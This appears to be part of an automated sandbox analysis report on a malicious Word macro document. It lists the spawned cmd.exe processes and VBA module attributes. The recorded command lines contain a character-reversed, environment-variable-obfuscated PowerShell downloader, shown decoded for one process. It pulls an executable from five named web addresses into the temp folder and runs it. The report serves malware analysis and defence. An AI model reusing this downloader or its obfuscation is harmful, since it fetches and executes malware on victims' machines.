Has exited:	true

Target ID:	8
Start time:	06:51:52
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! \| FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B "
Imagebase:	0x7ff6be850000
File size:	323'584 bytes
MD5 hash:	428CEC6B0034E0F183EB5BAE887BE480
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	10
Start time:	06:51:53
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	CmD /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! \| FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B "
Imagebase:	0x7ff6be850000
File size:	323'584 bytes
MD5 hash:	428CEC6B0034E0F183EB5BAE887BE480
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	12
Start time:	06:51:55
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; "
Imagebase:	0x7ff6be850000
File size:	323'584 bytes
MD5 hash:	428CEC6B0034E0F183EB5BAE887BE480
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Line	Content
1	Attribute VB_Name = "P383108942"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True
9	Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

APIs	Meta Information
Part of subcall function V0647527@Y43575824: X519
Part of subcall function V0647527@Y43575824: h335
Part of subcall function V0647527@Y43575824: Tan
Part of subcall function V0647527@Y43575824: l203
Part of subcall function V0647527@Y43575824: Round
Part of subcall function V0647527@Y43575824: J581
Part of subcall function V0647527@Y43575824: q0727
Part of subcall function V0647527@Y43575824: Z698
Part of subcall function V0647527@Y43575824: Round
Part of subcall function V0647527@Y43575824: G8317
Part of subcall function V0647527@Y43575824: Chr
Part of subcall function V0647527@Y43575824: h372
Part of subcall function V0647527@Y43575824: k419
Part of subcall function V0647527@Y43575824: Round
Part of subcall function V0647527@Y43575824: H2021
Part of subcall function V0647527@Y43575824: Tan
Part of subcall function V0647527@Y43575824: L4865
Part of subcall function V0647527@Y43575824: Log
Part of subcall function V0647527@Y43575824: T5773
Part of subcall function V0647527@Y43575824: Hex
Part of subcall function V0647527@Y43575824: w596
Part of subcall function V0647527@Y43575824: z017
Part of subcall function V0647527@Y43575824: Tan
Part of subcall function V0647527@Y43575824: X7408
Part of subcall function V0647527@Y43575824: Round
Part of subcall function V0647527@Y43575824: i8814
Part of subcall function V0647527@Y43575824: E213
Part of subcall function V0647527@Y43575824: I917
Part of subcall function V0647527@Y43575824: Round
Part of subcall function V0647527@Y43575824: z132
Part of subcall function V0647527@Y43575824: Chr
Part of subcall function V0647527@Y43575824: a657
Part of subcall function V0647527@Y43575824: J6956
Part of subcall function V0647527@Y43575824: Round
Part of subcall function V0647527@Y43575824: R328
Part of subcall function V0647527@Y43575824: Tan
Part of subcall function V0647527@Y43575824: f6262
Part of subcall function V0647527@Y43575824: Log
Part of subcall function V0647527@Y43575824: k7908
Part of subcall function V0647527@Y43575824: Hex
Part of subcall function V0647527@Y43575824: Array
Part of subcall function V0647527@Y43575824: k82749097
Part of subcall function V0647527@Y43575824: F2286029
Part of subcall function V0647527@Y43575824: I21119073
Part of subcall function V0647527@Y43575824: Shell
Part of subcall function V0647527@Y43575824: w977059613
Part of subcall function V0647527@Y43575824: Q822
Part of subcall function V0647527@Y43575824: B3733
Part of subcall function V0647527@Y43575824: Tan
Part of subcall function V0647527@Y43575824: v4275
Part of subcall function V0647527@Y43575824: Round
Part of subcall function V0647527@Y43575824: a324
Part of subcall function V0647527@Y43575824: i2390
Part of subcall function V0647527@Y43575824: J944
Part of subcall function V0647527@Y43575824: Round
Part of subcall function V0647527@Y43575824: M9962
Part of subcall function V0647527@Y43575824: Chr
Part of subcall function V0647527@Y43575824: A5781
Part of subcall function V0647527@Y43575824: m617
Part of subcall function V0647527@Y43575824: Round
Part of subcall function V0647527@Y43575824: N6322
Part of subcall function V0647527@Y43575824: Tan
Part of subcall function V0647527@Y43575824: P054
Part of subcall function V0647527@Y43575824: Log
Part of subcall function V0647527@Y43575824: w875
Part of subcall function V0647527@Y43575824: Hex

Line	Content
1	Attribute VB_Name = "T07731366762"
2	Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = False
6	Attribute VB_Exposed = False
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = False